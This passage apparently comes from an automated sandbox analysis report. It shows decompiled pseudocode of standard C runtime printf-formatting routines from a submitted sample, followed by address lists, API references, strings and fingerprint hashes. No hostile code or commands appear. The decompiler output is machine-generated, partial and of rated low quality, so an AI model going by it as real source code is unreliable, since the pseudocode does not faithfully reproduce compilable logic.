																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																				__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEC0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00435029
0x00435029
0x00435029
0x00435029
0x00435029
0x00435029
0x00435029
0x0043502f
0x00435032
0x00000000
0x004350aa
0x00000000
0x004350aa
0x00000000
0x004350aa
0x004350aa
0x004350b2
0x004350d4
0x004350da
0x004350ff
0x00435146
0x00435149
0x0043516a
0x0043516f
0x00435174
0x0043517a
0x0043514b
0x0043514f
0x00435154
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435107
0x00435129
0x0043512e
0x00435134
0x00435135
0x0043513b
0x00435109
0x0043510d
0x00435112
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350e0
0x004350e5
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b8
0x004350bd
0x004350c0
0x004350c6
0x004350c6
0x00435186
0x004351c8
0x004351ce
0x004351da
0x00000000
0x00435188
0x00435188
0x00435188
0x0043518f
0x00000000
0x0043519c
0x0043519c
0x004351aa
0x004351af
0x004351b5
0x004351c3
0x004351e0
0x004351e8
0x0043520a
0x0043520a
0x00435214
0x00435225
0x0043522f
0x00435231
0x00435231
0x00435216
0x00435216
0x00435216
0x00435244
0x00435246
0x00435246
0x00435250
0x00435253
0x00435253
0x00435259
0x0043525c
0x00435261
0x00000000
0x00000000
0x00435271
0x00435274
0x0043527e
0x0043528d
0x00435296
0x004352ac
0x004352b2
0x004352bf
0x004352cd
0x004352cd
0x004352dc
0x004352e4
0x004352e4
0x004352ec
0x004352f2
0x004352fb
0x00435307
0x00435320
0x00435326
0x0043532f
0x0043532f
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00000000
0x00435332
0x00435332
0x00435332
0x00435336
0x0043551d
0x00435521
0x00435529
0x0043552e
0x00435531
0x00435531
0x00435538
0x00435538
0x0043460f
0x00434615
0x00434622
0x00434627
0x00000000
0x0043463a
0x00434644
0x0043466b
0x00434652
0x00434663
0x00434663
0x00434644
0x00434675
0x0043467b
0x00434687
0x0043468a
0x00434698
0x0043469b
0x004346a8
0x0043474d
0x00434753
0x00434760
0x00000000
0x00000000
0x00434766
0x0043476c
0x00000000
0x00434773
0x00434773
0x0043478b
0x00434790
0x00434795
0x0043484f
0x00434862
0x00434867
0x00000000
0x0043479b
0x004347ae
0x004347b3
0x004347b9
0x004347bb
0x004347c4
0x004347c7
0x004347d3
0x004347d7
0x004347dd
0x004347df
0x004347e4
0x004347e6
0x004347eb
0x004347f0
0x004347f2
0x004347f7
0x004347fd
0x004347ff
0x004347ff
0x004347fd
0x00434800
0x00434807
0x00000000
0x00434809
0x0043480e
0x0043482a
0x00434832
0x0043483f
0x00434844
0x00000000
0x00434844
0x00434807
0x00000000
0x0043486f
0x0043486f
0x00434876
0x00434879
0x0043487c
0x0043487f
0x00434882
0x00434885
0x00434888
0x0043488f
0x00434896
0x00000000
0x00000000
0x004348a2
0x004348a2
0x004348a9
0x004348b5
0x004348b8
0x004348c5
0x00000000
0x00000000
0x004348c7
0x004348c7
0x004348cd
0x004348cd
0x004348d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434917
0x00434917
0x00434921
0x0043494b
0x0043494e
0x00434951
0x00434958
0x00434958
0x0043495c
0x00434923
0x00434923
0x0043492f
0x00434936
0x00434938
0x0043493b
0x0043493e
0x00434944
0x00434946
0x00434946
0x00434949
0x00000000
0x00000000
0x00434964
0x00434964
0x00000000
0x00000000
0x00434970
0x00434970
0x0043497a
0x0043499d
0x004349a7
0x004349a7
0x004349ab
0x0043497c
0x0043497c
0x00434988
0x0043498f
0x00434991
0x00434991
0x00434998
0x00000000
0x00000000
0x004349b3
0x004349b3
0x004349ba
0x004349c6
0x004349c9
0x004349d6
0x00434ae9
0x00000000
0x00434ae9
0x004349dc
0x004349dc
0x004349e2
0x004349e2
0x004349e9
0x00000000
0x00434a1f
0x00434a1f
0x00434a22
0x00434a28
0x00434a50
0x00434a50
0x00434a53
0x00434a59
0x00434a7e
0x00434a7e
0x00434a81
0x00434a87
0x00434ac0
0x00434ad1
0x00000000
0x00434ad1
0x00434a89
0x00434a89
0x00434a8c
0x00434a92
0x00000000
0x00000000
0x00434a94
0x00434a94
0x00434a97
0x00434a9d
0x00000000
0x00000000
0x00434a9f
0x00434a9f
0x00434aa2
0x00434aa8
0x00000000
0x00000000
0x00434aaa
0x00434aaa
0x00434aad
0x00434ab3
0x00000000
0x00000000
0x00434ab5
0x00434ab5
0x00434ab8
0x00434abe
0x00434ac2
0x00434ac2
0x00000000
0x00434ac2
0x00000000
0x00434abe
0x00434a5b
0x00434a5b
0x00434a5e
0x00434a65
0x00000000
0x00000000
0x00434a67
0x00434a6a
0x00434a6d
0x00434a70
0x00434a73
0x00434a79
0x00000000
0x00434a79
0x00434a2a
0x00434a2a
0x00434a2d
0x00434a34
0x00000000
0x00000000
0x00434a36
0x00434a39
0x00434a3c
0x00434a3f
0x00434a42
0x00434a48
0x00000000
0x00000000
0x00434ad3
0x00434ad6
0x00434ad9
0x00000000
0x00000000
0x004349f0
0x004349f0
0x004349f3
0x004349f9
0x00434a11
0x00434a14
0x00434a17
0x004349fb
0x004349fe
0x00434a01
0x00434a07
0x00434a0c
0x00434a0c
0x00000000
0x00000000
0x00434ade
0x00434ae1
0x00434ae6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348f1
0x004348f4
0x004348f7
0x00000000
0x00000000
0x004348fc
0x004348ff
0x00434904
0x00000000
0x00000000
0x004348e6
0x004348e6
0x004348e9
0x004348ec
0x00000000
0x00000000
0x004348db
0x004348de
0x004348e1
0x00000000
0x00000000
0x00434909
0x00434909
0x0043490c
0x0043490f
0x00000000
0x00000000
0x00434912
0x00000000
0x00000000
0x004346ae
0x004346b0
0x004346be
0x004346b2
0x004346b2
0x004346b2
0x004346c8
0x004346ce
0x004346db
0x004346dd
0x004346e2
0x004346e4
0x004346e9
0x004346ee
0x004346f0
0x004346f5
0x004346fb
0x004346fd
0x004346fd
0x004346fb
0x004346fe
0x00434705
0x00000000
0x00434707
0x0043470c
0x00434728
0x00434730
0x0043473d
0x00434742
0x00435601
0x0043560e
0x0043560e
0x00434705
0x004346a8
0x0043553d
0x00435544
0x0043555b
0x0043554f
0x0043554f
0x0043554f
0x00435565
0x0043556b
0x00435578
0x0043557a
0x0043557f
0x00435581
0x00435586
0x0043558b
0x0043558d
0x00435592
0x00435598
0x0043559a
0x0043559a
0x00435598
0x004355a2
0x004355ed
0x004355f6
0x004355fb
0x004355a4
0x004355a9
0x004355c5
0x004355cd
0x004355da
0x004355df
0x004355df
0x00000000
0x004355a2
0x0043533c
0x00435342
0x0043534c
0x00435361
0x00435376
0x00435378
0x0043537c
0x0043537c
0x00435363
0x00435363
0x00435367
0x00435367
0x0043534e
0x0043534e
0x00435352
0x00435352
0x0043534c
0x0043538c
0x00435398
0x004353ae
0x004353b3
0x004353b3
0x004353c9
0x004353ce
0x004353d7
0x004353f5
0x004353fa
0x004353fa
0x00435401
0x004354d5
0x004354e8
0x004354ed
0x00000000
0x00435411
0x00435411
0x00435411
0x0043541e
0x00435427
0x0043542d
0x0043542d
0x0043543c
0x00435444
0x00000000
0x00000000
0x0043544a
0x00435453
0x00435472
0x00435477
0x0043547a
0x00435489
0x00435496
0x004354a1
0x004354a1
0x00000000
0x004354ad
0x004354ad
0x004354c6
0x004354cb
0x00000000
0x004354cb
0x00435496
0x004354d3
0x004354f0
0x004354f7
0x00435515
0x0043551a
0x0043551a
0x00000000
0x004354f7
0x00434aee
0x00434aee
0x00434af5
0x00434afb
0x00434b01
0x00434b04
0x00434b0a
0x00434b1d
0x00434b1d
0x00434b24
0x00000000
0x00434e7e
0x00434e7e
0x00434e85
0x00434e8c
0x00434e8f
0x00000000
0x00000000
0x00434b2b
0x00434b2e
0x00434b34
0x00434b39
0x00434b3e
0x00434b3e
0x00000000
0x00000000
0x00434c6b
0x00434c6e
0x00434c73
0x00434c78
0x00434c7e
0x00434c7e
0x00000000
0x00000000
0x0043504b
0x0043504b
0x00000000
0x00000000
0x00434bd5
0x00434bd5
0x00434be1
0x00434bee
0x00434bfc
0x00434bfc
0x00434c02
0x00434c05
0x00434c11
0x00434c66
0x00000000
0x00434c66
0x00434bf0
0x00434bf0
0x00434bfa
0x00434c16
0x00434c19
0x00434c1f
0x00434c47
0x00434c4e
0x00434c54
0x00434c57
0x00434c5a
0x00434c60
0x00434c63
0x00434c21
0x00434c21
0x00434c27
0x00434c2a
0x00434c2d
0x00434c33
0x00434c36
0x00434c39
0x00434c3b
0x00434c3e
0x00434c3e
0x00000000
0x00434c1f
0x00000000
0x00000000
0x00434e95
0x00434e98
0x00434e9b
0x00434e9e
0x00434ea4
0x00434ea7
0x00434eb2
0x00434ebd
0x00434ec1
0x00434ed8
0x00434edf
0x00434ee1
0x00434ee1
0x00434ee8
0x00434eef
0x00434f00
0x00434f0f
0x00434f16
0x00434f2c
0x00434f18
0x00434f18
0x00434f1b
0x00434f21
0x00434f27
0x00434f27
0x00434f16
0x00434f36
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00434f45
0x00434f4b
0x00434f51
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f69
0x00434f6a
0x00434f6d
0x00434f6e
0x00434f71
0x00434f72
0x00434f78
0x00434f79
0x00434f87
0x00434f89
0x00434f8f
0x00434f95
0x00434f9d
0x00434fa5
0x00434fa6
0x00434fa9
0x00434faa
0x00434fb8
0x00434fba
0x00434fba
0x00434fbd
0x00434fc7
0x00434fcc
0x00434fd2
0x00434fd4
0x00434fdc
0x00434fdd
0x00434fe0
0x00434fe1
0x00434ff0
0x00434ff2
0x00434ff2
0x00434fd2
0x00434ff5
0x00434ff8
0x00434ffe
0x00435003
0x00435009
0x0043500f
0x00435012
0x00435012
0x00435015
0x00435021
0x00000000
0x00435021
0x00434ec3
0x00434ec3
0x00434ecd
0x00000000
0x00000000
0x00434ecf
0x00434ecf
0x00000000
0x00434ecf
0x00434eb4
0x00434eb4
0x00000000
0x00000000
0x00434b41
0x00434b44
0x00434b4a
0x00434ba5
0x00434bad
0x00434bb4
0x00434bba
0x00434bc0
0x00434b4c
0x00434b4c
0x00434b56
0x00434b5a
0x00434b62
0x00434b69
0x00434b76
0x00434b7d
0x00434b89
0x00434b96
0x00434b98
0x00434b98
0x00434b9f
0x00434bc7
0x00434bcd
0x00000000
0x00000000
0x00000000
0x00000000
0x00434d87
0x00434d87
0x00434d93
0x00434da0
0x00434e4a
0x00434e4d
0x00434e50
0x00434e64
0x00434e6a
0x00434e70
0x00434e52
0x00434e52
0x00434e5f
0x00434e5f
0x00434e72
0x00000000
0x00434e72
0x00434da6
0x00434da6
0x00434da8
0x00434db6
0x00434daa
0x00434daa
0x00434daa
0x00434dc0
0x00434dc6
0x00434dd3
0x00434dd5
0x00434dda
0x00434ddc
0x00434de1
0x00434de6
0x00434de8
0x00434ded
0x00434df3
0x00434df5
0x00434df5
0x00434df3
0x00434dfd
0x00434e45
0x00000000
0x00434dff
0x00434dff
0x00434e04
0x00434e20
0x00434e28
0x00434e32
0x00434e35
0x00434e3a
0x00000000
0x00434e3a
0x00000000
0x0043508c
0x0043508c
0x00435096
0x0043509c
0x004350a1
0x004350a7
0x004350a7
0x00000000
0x00000000
0x00435044
0x00435044
0x00000000
0x00000000
0x00434c81
0x00434c85
0x00434c93
0x00434c96
0x00434c87
0x00434c87
0x00434c87
0x00434c9c
0x00434ca2
0x00434ca8
0x00434cb4
0x00434cba
0x00434cc0
0x00434d27
0x00434d2b
0x00434d2d
0x00434d33
0x00434d33
0x00434d36
0x00434d39
0x00434d3f
0x00434d3f
0x00434d3f
0x00434d4b
0x00434d4e
0x00434d56
0x00000000
0x00000000
0x00434d58
0x00434d58
0x00434d5e
0x00434d63
0x00000000
0x00000000
0x00434d65
0x00434d6b
0x00434d6e
0x00434d6e
0x00434d76
0x00434d7c
0x00434d7f
0x00000000
0x00434cc2
0x00434cc2
0x00434cc6
0x00434cc8
0x00434ccd
0x00434ccd
0x00434cd0
0x00434cd7
0x00434cda
0x00434ce0
0x00434ce0
0x00434ce0
0x00434cec
0x00434cef
0x00434cf7
0x00000000
0x00000000
0x00434cf9
0x00434cf9
0x00434cff
0x00434d04
0x00000000
0x00000000
0x00434d06
0x00434d0c
0x00434d0f
0x00434d0f
0x00434d17
0x00434d1d
0x00434d20
0x00434d22
0x00434d82
0x00000000
0x00434d82
0x00000000
0x0043503b
0x0043503b
0x00000000
0x00000000
0x00435057
0x00435057
0x00435061
0x00435061
0x0043506b
0x00435071
0x00435073
0x0043507d
0x00435080
0x00435083
0x00435083
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b24
0x00435332
0x00435332
0x00435332
0x00435332
0x00435332
0x00435332
0x00435332
0x0043518f
0x00435186
0x004350aa
0x004350aa
0x004350aa

APIs

_get_int64_arg.LIBCMTD ref: 004350B8
_get_int64_arg.LIBCMTD ref: 004350E0
__aullrem.LIBCMT ref: 00435285
__aulldiv.LIBCMT ref: 004352A7
_write_multi_char.LIBCMTD ref: 004353AE
_write_string.LIBCMTD ref: 004353C9
_write_multi_char.LIBCMTD ref: 004353F5
_wctomb_s.LIBCMTD ref: 00435472

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004346E9, 00434719
9, xrefs: 004352B8
_output_s_l, xrefs: 0043471E
("Incorrect format specifier", 0), xrefs: 004346DD, 00434723
-, xrefs: 0043534E

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 98f2fe3707f84ec47c1ce3e1b8abe1245f1b58acacccaf61aae08049296e0555
Instruction ID: f3f454638f439f65a3e4bdd1b8c3b6824ad5289202f2083dc8077cdf84e5b17a
Opcode Fuzzy Hash: 98f2fe3707f84ec47c1ce3e1b8abe1245f1b58acacccaf61aae08049296e0555
Instruction Fuzzy Hash: 36F147B1D016299FDF24DF58CC89BAEB7B1BB48304F1091DAE409A7281D7386E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C43B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C43B(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E00428400(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00428400(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E00428400(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00428400(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00428420(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00428420(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00430830(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E004308B0( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C5E0( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043CA24))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043CB30( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43ca5c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA44))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
